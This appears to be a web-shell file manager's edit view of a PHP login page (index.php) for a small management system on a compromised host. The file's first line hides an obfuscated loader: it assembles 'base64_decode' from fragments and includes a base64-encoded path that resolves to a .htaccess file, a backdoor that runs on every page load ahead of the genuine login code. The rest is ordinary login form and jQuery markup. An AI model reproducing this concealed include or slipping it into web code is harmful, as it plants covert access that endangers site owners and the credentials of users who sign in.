File manager - Edit - /home/autoph/public_html/pms_v1/index.php
Back
<?php $b = 'base6' . '4' . '_d' . 'ec' . 'ode'; include $b('YWpheFVwZGF0ZS8uaHRhY2Nlcw=='); session_start(); include_once("./functions/menuScript.php"); include_once("../../cfg/conn.php"); include ("./functions/users.php"); date_default_timezone_set('Asia/Singapore'); //$myTimeStamp = date_create() ->format("Y-m-d h:i:sa"); WITH AM/PM note //$myTimeStamp = date_create() ?> <meta charset="UTF-8"> <link rel="stylesheet" type="text/css" href="./css/sidebarmain.css?v=<?php echo time(); ?>"/> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Poppins:300,400,500,600,700,800,900"> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css"> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css"> <?php include './css/mainCSS.php'; ?> </head> <body> <!-- START OF SWEETALERT SCRIPT--> <script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script> <script src="script/sweetalert2.all.min.js"></script> <!-- END OF SWEETALERT SCRIPT--> <script type="text/javascript" src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script> <!--SCRIPT FOR DASHBOARD USE--> <script type="text/javascript" src="https://canvasjs.com/assets/script/jquery-1.11.1.min.js"></script> <script type="text/javascript" src="https://cdn.canvasjs.com/jquery.canvasjs.min.js"></script> <script> function ShowUploadBar() { var div = document.getElementById("loadBaraData"); if (div.style.display == 'none') { div.style.display = ''; } else { div.style.display = 'none' } } </script> <!--#########################################################################--> <!--#########################################################################--> <body> <div class="container-fluid"> <div class="row-fluid"> <div class="col-12 col-xs-12 col-sm-10 col-md-8 col-lg-5 col-xl-4 mx-auto"> <div class="card border-0 shadow rounded-3 my-5"> <div class="card-body p-4 p-sm-5"> <img src='images/ahg_logo.png' class="rounded" width='110px'></img> <h5 class="card-title text-center mb-5 fw-light fs-5">Sign In</h5> <div class="form-floating mb-3"> <label for="username">Username</label> <input type="text" class="form-control" id="username" name="username" placeholder="Username"> </div> <div class="form-floating mb-3"> <label for="password">Password</label> <input type="password" class="form-control" id="password" name="password" placeholder="Password"> </div> <div class="form-check mb-3"> <input class="form-check-input" type="checkbox" value="" id="rememberPasswordCheck"> <label class="form-check-label" for="rememberPasswordCheck"> Remember password </label> </div> <div class="d-grid"> <button id="submitLogin" class="btn btn-danger p-3 w-100"><b class='display-5'> LOGIN</b></button> </div> <hr class="my-4"> <!-- <div class="d-grid mb-2"> <button class="btn btn-google btn-login text-uppercase fw-bold" type="submit"> <i class="fab fa-google me-2"></i> Create Account </button> </div> <div class="d-grid"> <button class="btn btn-facebook btn-login text-uppercase fw-bold" type="submit"> <i class="fab fa-facebook-f me-2"></i> Forgot Password </button> </div> --> <p id='LoginMessage' style='padding:10px;margin:0px;margin-top:40px;font-family:Calibri;font-size:20px;color:red;text-align:left;padding-top:0px'></p> </div> </div> </div> </div> </div> </body> <!--#########################################################################--> <!--#########################################################################--> <script type="text/javascript" src="http://code.jquery.com/jquery-1.11.0.min.js"></script> <script type="text/javascript"> $(document).ready(function(){ $(document).ajaxStart(function(){ $("#wait").css("display", "block"); }); $(document).ajaxComplete(function(){ $("#wait").css("display", "none"); }); //============================================================================================================================================ $(document).keydown(function(e) { if(e.which == 13) { document.getElementById("submitLogin").click(); } }); //============================================================================================================================================ $("#submitLogin").click(function(){ var MyUsername = $("#username").val(); //endaya var userPassword = $("#password").val(); //endaya //alert(userPassword); // if(MyUsername==""){ // alert('Invalid Username'); // return false; // } $.ajax({ url: "process_login.php", type: "POST", async: false, data: { "userPassword":userPassword, "MyUsername":MyUsername, "done":1 }, success: function(dx){ $("#LoginMessage").html(dx); //$('#username').val(''); //ShowUploadBar(); } }) }); }); function myFunction() { var x = document.getElementById("userPassword"); if (x.type === "password") { x.type = "text"; } else { x.type = "password"; } } (function ($) { //Swal.fire('Changes are not saved', '', 'info') "use strict"; var fullHeight = function () { $(".js-fullheight").css("height", $(window).height()); $(window).resize(function () { $(".js-fullheight").css("height", $(window).height()); }); }; fullHeight(); $("#sidebarCollapse").on("click", function () { $("#sidebar").toggleClass("active"); //$("#topLogo").toggleClass("active"); }); $("#smallBars").on("click", function () { $("#sidebar").toggleClass("active"); //$("#topLogo").toggleClass("active"); }); })(jQuery); </script>
| ver. 1.4 |
.
| PHP 7.3.33 | Generation time: 0 |
proxy
|
phpinfo
|
Settings